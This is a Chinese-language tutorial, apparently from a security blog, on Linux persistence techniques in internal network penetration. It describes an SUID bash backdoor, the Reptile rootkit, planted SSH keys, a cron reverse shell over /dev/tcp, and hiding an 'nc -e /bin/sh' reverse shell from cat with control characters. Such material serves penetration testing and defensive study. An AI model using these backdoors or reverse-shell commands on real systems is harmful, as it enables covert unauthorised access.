在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索。Linux也是在内网渗透中很常见的操作系统,但是其内部实现方式却与Windows有着本质的区别。我们在对Windows权限维持方式的基础上总结Linux系统的权限维持方式。
01SUID后门SUID是Set uid的简称,当一个文件的所属主的标识位是x,且所属主为root时,当执行该文件时,是以root身份执行的。所以如果攻击者创建一个满足上述条件的文件,并且使用该文件反弹一个bash的话,就会使一个普通用户得到一个root权限的shell。
创建文件时必须具备以下条件:
SUID权限只对二进制程序有效;
执行者对于该程序需要具有x的可执行权限;
本权限仅在执行该程序的过程中有效;
在执行过程中执行者将具有该程序拥有者的权限;
首先使用root权限创建一个suid权限的隐藏文件,这个文件是/bin/bash的复制文件。
其次,使用普通用户登入系统,使用如下命令/var/.hack -p,执行该文件以获得一个root shell,执行后可以看到权限已经变成了root权限。
02Linux内核Rootkit后门
内核级Linux Rootkit的隐藏性通常要借助对Linux系统调用的截获来达到目的,并且难以查杀、难以清除,危害巨大。主要适用的目标版本如下:
Debian 9:4.9.0-8-amd64
Debian 10:4.19.0-8-amd64
Ubuntu 18.04.1 LTS:4.15.0-38-generic
Kali Linux:4.18.0-kali2-amd64
Centos 6.10:2.6.32- 754.6.3.el6.x86_64
Centos 7:3.10.0-862.3.2.el7.x86_64
Centos 8:4.18.0-147.5.1.el8_1.x86_64
项目地址为:
https://github.com/f0rb1dd3n/Reptile
03SSH后门SSH是Linux提供的一种远程登陆服务,SSH总共提供了两种登陆验证方式:一是账号密码登录,也是常用的登陆方式;二是公私钥登录,SSH允许验证登录者提供的私钥与自身公钥是否匹配,以确定是否允许该用户登录。具体验证方式如下:
首先攻击者在本地生成一份SSH登录的公私钥对,使用如下命令即可:
ssh-keygen -trsa。
使用ssh-keygen生成两份文件,分别是id_rsa和id_rsa.pub前者是私钥文件,后者是公钥文件。使用某种方法,将攻击者生成的公钥文件id_rsa.pub上传进目标机~/.ssh/authorized_keys目录下即可。
使用ssh直接登录目标机即可,无需账号密码。
与Windows一样,Linux也提供了计划任务程序,在Linux系统中计划任务一般是由cron承担。我们使用cron添加一个反弹shell的计划任务,以实现权限维持。
首先检查目标机是否开启了计划任务。
利用cron程序写入一个计划任务:’*/1 * * * * bash -I>& /dev/tcp// 0>&1’使其每一分钟向攻击者IP发弹一次shell。
在攻击机上监听相应的端口,过了一分钟即可接收到来自目标机的反弹shell,实现权限维持。
Cat命令是Linux系统自带的指令,能够查看文件的具体内容。但是Cat指令却存在缺陷,cat默认是支持一些如\r回车符\n换行符\f换页符等特殊符号,这些符号可能导致一些内容被错误的解析,进而隐藏一些系统命令。
创建一个python文件,使其能够生成一个包含特殊符号的.sh文件,这个文件可以将恶意指令进行隐藏。
使用普通的cat指令查看这个.sh文件,发现恶意指令被隐藏。重新使用cat指令带上-A参数即可看到该文件的真实全部内容。可以查看到恶意指令:nc -e /bin/sh 192.168.210.37 9999。
如果管理员没有仔细查看文件的具体内容就执行了该文件,攻击机则可以接到一个来自目标机的反弹shell。